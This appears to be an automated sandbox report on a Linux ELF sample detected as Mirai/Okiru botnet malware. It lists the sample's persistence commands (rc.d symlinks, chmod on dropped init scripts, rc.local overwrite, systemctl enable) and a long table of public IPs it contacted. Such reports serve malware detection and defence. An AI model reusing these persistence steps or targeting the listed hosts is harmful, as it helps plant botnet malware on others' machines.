Source: /tmp/x86_32.nn.elf (PID: 6268) Shell command executed: sh -c "mkdir -p /etc/rc.d >/dev/null 2>&1" Jump to behavior
Source: /tmp/x86_32.nn.elf (PID: 6270) Shell command executed: sh -c "ln -s /etc/init.d/sh /etc/rc.d/S99sh >/dev/null 2>&1" Jump to behavior
Executes the "chmod" command used to modify permissions
Source: /bin/sh (PID: 6262) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/system Jump to behavior
Source: /bin/sh (PID: 6267) Chmod executable: /usr/bin/chmod -> chmod +x /etc/init.d/sh Jump to behavior
Executes the "mkdir" command used to create folders
Source: /bin/sh (PID: 6269) Mkdir executable: /usr/bin/mkdir -> mkdir -p /etc/rc.d Jump to behavior
Executes the "systemctl" command used for controlling the systemd system and service manager
Source: /bin/sh (PID: 6238) Systemctl executable: /usr/bin/systemctl -> systemctl enable custom.service Jump to behavior
Sample tries to set the executable flag
Source: /tmp/x86_32.nn.elf (PID: 6215) File: /etc/rc.local (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6262) File: /etc/init.d/system (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Source: /usr/bin/chmod (PID: 6267) File: /etc/init.d/sh (bits: - usr: rx grp: rx all: rwx) Jump to behavior
Writes shell script file to disk with an unusual file extension
Source: /tmp/x86_32.nn.elf (PID: 6215) Writes shell script file to disk with an unusual file extension: /etc/init.d/system Jump to dropped file
Source: /tmp/x86_32.nn.elf (PID: 6215) Writes shell script file to disk with an unusual file extension: /etc/rc.local Jump to dropped file
Source: /bin/sh (PID: 6265) Writes shell script file to disk with an unusual file extension: /etc/init.d/sh Jump to dropped file

Hooking and other Techniques for Hiding and Protection
barindex
Drops files in suspicious directories
Source: /tmp/x86_32.nn.elf (PID: 6215) File: /etc/init.d/system Jump to dropped file
Source: /bin/sh (PID: 6265) File: /etc/init.d/sh Jump to dropped file

Stealing of Sensitive Information
barindex
Yara detected Mirai
Source: Yara match File source: x86_32.nn.elf, type: SAMPLE
Source: Yara match File source: 6215.1.0000000008048000.000000000805f000.r-x.sdmp, type: MEMORY
Yara detected Okiru
Source: Yara match File source: x86_32.nn.elf, type: SAMPLE
Source: Yara match File source: 6215.1.0000000008048000.000000000805f000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: x86_32.nn.elf PID: 6215, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Mirai
Source: Yara match File source: x86_32.nn.elf, type: SAMPLE
Source: Yara match File source: 6215.1.0000000008048000.000000000805f000.r-x.sdmp, type: MEMORY
Yara detected Okiru
Source: Yara match File source: x86_32.nn.elf, type: SAMPLE
Source: Yara match File source: 6215.1.0000000008048000.000000000805f000.r-x.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: x86_32.nn.elf PID: 6215, type: MEMORYSTR

No Screenshots

  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
175.112.97.98
 unknown Korea Republic of
9318 SKB-ASSKBroadbandCoLtdKR false
210.24.160.39
 unknown Singapore
4628 PACIFICINTERNET-AS-APPacificInternetPteLtdSG false
125.136.3.9
 unknown Korea Republic of
4766 KIXS-AS-KRKoreaTelecomKR false
204.67.8.133
 unknown United States
1761 TDIR-CAPNETUS false
142.175.176.100
 unknown Canada
7122 MTS-ASNCA false
201.168.119.77
 unknown Mexico
19332 MarcatelComSAdeCVMX false
40.204.238.157
 unknown United States
4249 LILLY-ASUS false
28.73.234.59
 unknown United States
7922 COMCAST-7922US false
27.33.4.123
 unknown Australia
7545 TPG-INTERNET-APTPGTelecomLimitedAU false
3.54.36.218
 unknown United States
8987 AMAZONEXPANSIONGB false
164.77.169.44
 unknown Chile
6471 ENTELCHILESACL false
44.191.44.29
 unknown United States
39702 SIT-ASDE false
185.110.64.4
 unknown Spain
21409 IKOULAFR false
140.149.19.111
 unknown Thailand
7693 COMNET-THKSCCommercialInternetCoLtdTH false
189.62.107.204
 unknown Brazil
28573 CLAROSABR false
199.243.48.156
 unknown Canada
577 BACOMCA false
61.220.163.190
 unknown Taiwan; Republic of China (ROC)
3462 HINETDataCommunicationBusinessGroupTW false
110.219.123.3
 unknown China
9394 CTTNETChinaTieTongTelecommunicationsCorporationCN false
9.141.242.55
 unknown United States
3356 LEVEL3US false
179.229.155.19
 unknown Brazil
26599 TELEFONICABRASILSABR false
7.250.19.193
 unknown United States
3356 LEVEL3US false
80.164.153.130
 unknown Denmark
3292 TDCTDCASDK false
104.250.157.28
 unknown United States
53850 GORILLASERVERSUS false
60.195.238.149
 unknown China
4808 CHINA169-BJChinaUnicomBeijingProvinceNetworkCN false
171.25.61.99
 unknown Switzerland
34457 AMB-GENERALIDE false
213.200.225.246
 unknown Switzerland
3303 SWISSCOMSwisscomSwitzerlandLtdCH false
132.45.10.194
 unknown United States
668 DNIC-AS-00668US false
183.216.254.225
 unknown China
9808 CMNET-GDGuangdongMobileCommunicationCoLtdCN false
34.158.104.232
 unknown United States
2686 ATGS-MMD-ASUS false
163.35.130.77
 unknown United States
2830 MCI-DUAL-HOMED-CUSTOMERSGB false
80.145.229.176
 unknown Germany
3320 DTAGInternetserviceprovideroperationsDE false
131.115.84.44
 unknown Sweden
1729 TELIA-TCNTeliaCorporateNetworkEU false
45.101.218.242
 unknown Egypt
37069 MOBINILEG false
165.51.231.8
 unknown Tunisia
37492 ORANGE-TN false
94.89.34.146
 unknown Italy
3269 ASN-IBSNAZIT false
106.8.147.38
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
30.209.121.207
 unknown United States
7922 COMCAST-7922US false
60.211.13.205
 unknown China
4837 CHINA169-BACKBONECHINAUNICOMChina169BackboneCN false
103.249.176.87
 unknown China
135387 MAGNAHOSTINGLTD-TWMagnaHostingLtdTW false
3.35.124.145
 unknown United States
16509 AMAZON-02US false
114.164.8.38
 unknown Japan 4713 OCNNTTCommunicationsCorporationJP false
126.155.70.145
 unknown Japan 17676 GIGAINFRASoftbankBBCorpJP false
139.123.220.33
 unknown Finland
5619 EVRY-NO false
55.97.9.224
 unknown United States
361 DNIC-ASBLK-00306-00371US false
213.239.11.145
 unknown Ireland
8918 CARRIER1-ASIE false
121.103.116.149
 unknown Japan 2527 SO-NETSo-netEntertainmentCorporationJP false
35.234.64.95
 unknown United States
15169 GOOGLEUS false
6.96.231.69
 unknown United States
3356 LEVEL3US false
13.100.26.76
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
192.215.13.135
 unknown United States
4266 CERNET-ASN-BLOCKUS false
149.202.242.118
 unknown France
16276 OVHFR false
29.95.35.30
 unknown United States
7922 COMCAST-7922US false
81.241.210.75
 unknown Belgium
5432 PROXIMUS-ISP-ASBE false
2.94.36.50
 unknown Russian Federation
8402 CORBINA-ASOJSCVimpelcomRU false
132.0.234.26
 unknown United States
385 AFCONC-BLOCK1-ASUS false
217.55.129.83
 unknown Egypt
36992 ETISALAT-MISREG false
207.121.155.43
 unknown United States
3356 LEVEL3US false
105.243.41.14
 unknown South Africa
36994 Vodacom-VBZA false
113.81.81.103
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
213.79.169.61
 unknown Sweden
12501 NORRNODITSSE false
177.38.141.68
 unknown Brazil
52947 PARAOPEBANETPROVEDORLTDABR false
68.96.251.123
 unknown United States
22773 ASN-CXA-ALL-CCI-22773-RDCUS false
26.237.129.81
 unknown United States
7922 COMCAST-7922US false
40.191.217.103
 unknown United States
4249 LILLY-ASUS false
211.66.84.66
 unknown China
24357 CNGI-GZ-IX-AS-APCERNET2IXatSouthChinaUniversityofTec false
199.150.227.26
 unknown United States
4152 USDA-1US false
171.221.193.30
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
205.49.27.99
 unknown United States
2914 NTT-COMMUNICATIONS-2914US false
55.201.78.208
 unknown United States
1541 DNIC-ASBLK-01534-01546US false
11.138.136.196
 unknown United States
3356 LEVEL3US false
22.18.90.117
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
132.11.15.136
 unknown United States
367 DNIC-ASBLK-00306-00371US false
185.165.16.185
 unknown Germany
42442 ADACOR-ASDE false
171.192.132.121
 unknown United States
10794 BANKAMERICAUS false
14.227.170.200
 unknown Viet Nam
45899 VNPT-AS-VNVNPTCorpVN false
24.71.68.3
 unknown Canada
6327 SHAWCA false
92.151.49.151
 unknown France
3215 FranceTelecom-OrangeFR false
30.6.24.174
 unknown United States
7922 COMCAST-7922US false
50.26.56.156
 unknown United States
19108 SUDDENLINK-COMMUNICATIONSUS false
29.79.39.167
 unknown United States
7922 COMCAST-7922US false
134.83.33.151
 unknown United Kingdom
786 JANETJiscServicesLimitedGB false
135.226.21.134
 unknown United States
10455 LUCENT-CIOUS false
143.101.54.219
 unknown United States
13636 NEC-LABORATORIES-AMERICA-INCUS false
134.165.169.6
 unknown United States
6009 DNIC-ASBLK-05800-06055US false
11.166.127.138
 unknown United States
3356 LEVEL3US false
49.65.107.113
 unknown China
134756 CHINANET-NANJING-IDCCHINANETNanjingIDCnetworkCN false
66.1.97.85
 unknown United States
3651 SPRINT-BB6US false
189.235.201.58
 unknown Mexico
8151 UninetSAdeCVMX false
92.169.46.255
 unknown France
3215 FranceTelecom-OrangeFR false
20.246.197.1
 unknown United States
8075 MICROSOFT-CORP-MSN-AS-BLOCKUS false
134.66.130.239
 unknown United States
385 AFCONC-BLOCK1-ASUS false
179.217.109.222
 unknown Brazil
28573 CLAROSABR false
185.16.172.234
 unknown Switzerland
199417 SERVERBASECH false
138.212.128.2
 unknown Japan 59121 AKNWS-NETAsahiKaseiNetworksCorporationJP false
160.97.164.104
 unknown Italy
137 ASGARRConsortiumGARREU false
219.217.26.97
 unknown China
4538 ERX-CERNET-BKBChinaEducationandResearchNetworkCenter false
40.229.58.107
 unknown United States
4249 LILLY-ASUS false
112.28.143.124
 unknown China
9808 CMNET-GDGuangdongMobileCommunicationCoLtdCN false
14.149.215.121
 unknown China
4134 CHINANET-BACKBONENo31Jin-rongStreetCN false
123.28.98.207
 unknown Viet Nam
45899 VNPT-AS-VNVNPTCorpVN false